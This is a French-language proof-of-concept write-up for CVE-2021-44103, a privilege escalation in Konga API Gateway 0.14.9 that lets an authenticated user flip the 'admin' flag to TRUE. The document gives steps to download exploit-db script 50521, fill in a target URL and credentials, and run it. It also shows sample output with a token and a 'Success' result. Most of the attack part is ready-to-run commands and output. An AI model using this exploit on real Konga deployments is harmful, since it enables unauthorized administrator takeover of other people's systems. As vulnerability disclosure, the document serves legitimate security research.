
Exploit de preuve de concept pour CVE-2021-44103 démontrant une escalade de privilèges verticale dans Konga API Gateway 0.14.9, permettant aux utilisateurs authentifiés d'obtenir un accès administrateur.
Une preuve de concept pour KONGA 0.14.9 - Élévation de privilèges.
Le 16 novembre 2021, Fabrício Salomão et moi avons découvert une vulnérabilité dans Konga API Gateways, permettant à tout utilisateur authentifié de devenir administrateur.
Produit: KONGA
Modèle : 0.14.9
Vulnérabilité : Élévation de privilèges
Impact : Accès administrateur complet (élévation de privilèges verticale)
Authentification : requise
Auteur de l'exploit : Fabricio Salomao / Paulo Trindade
Ci-dessous, un utilisateur normal nommé « usernormal » a été créé sans privilège.


Via la requête ci-dessous, le drapeau « FALSE » dans le paramètre « admin » a été changé en « TRUE ».

Par conséquent, un exploit a été créé pour nous : https://www.exploit-db.com/exploits/50521

Après avoir exécuté l'exploit, l'élévation de privilèges a été un succès !
Résultat :

wget https://www.exploit-db.com/raw/50521 -O 50521.py
Edit 50521.py
Modify:
urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password
Execute:
python 50521.py
[+] Attack
[+] Token eyJhbGciOiJIUzI1NiJ9.MTA.JFmJ0Vd3z5oeOTokSL0qfPZSOJmnZKEjZVzCJs_AM-U
[+] Change Normal User to Admin
[+] Success
http://n0hat.blogspot.com/2021/11/konga-0149-privilege-escalation-exploit.html
https://www.exploit-db.com/exploits/50521
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44103
https://github.com/advisories/GHSA-f2mp-8fgg-7465
https://security.snyk.io/vuln/SNYK-JS-KONGA-2434821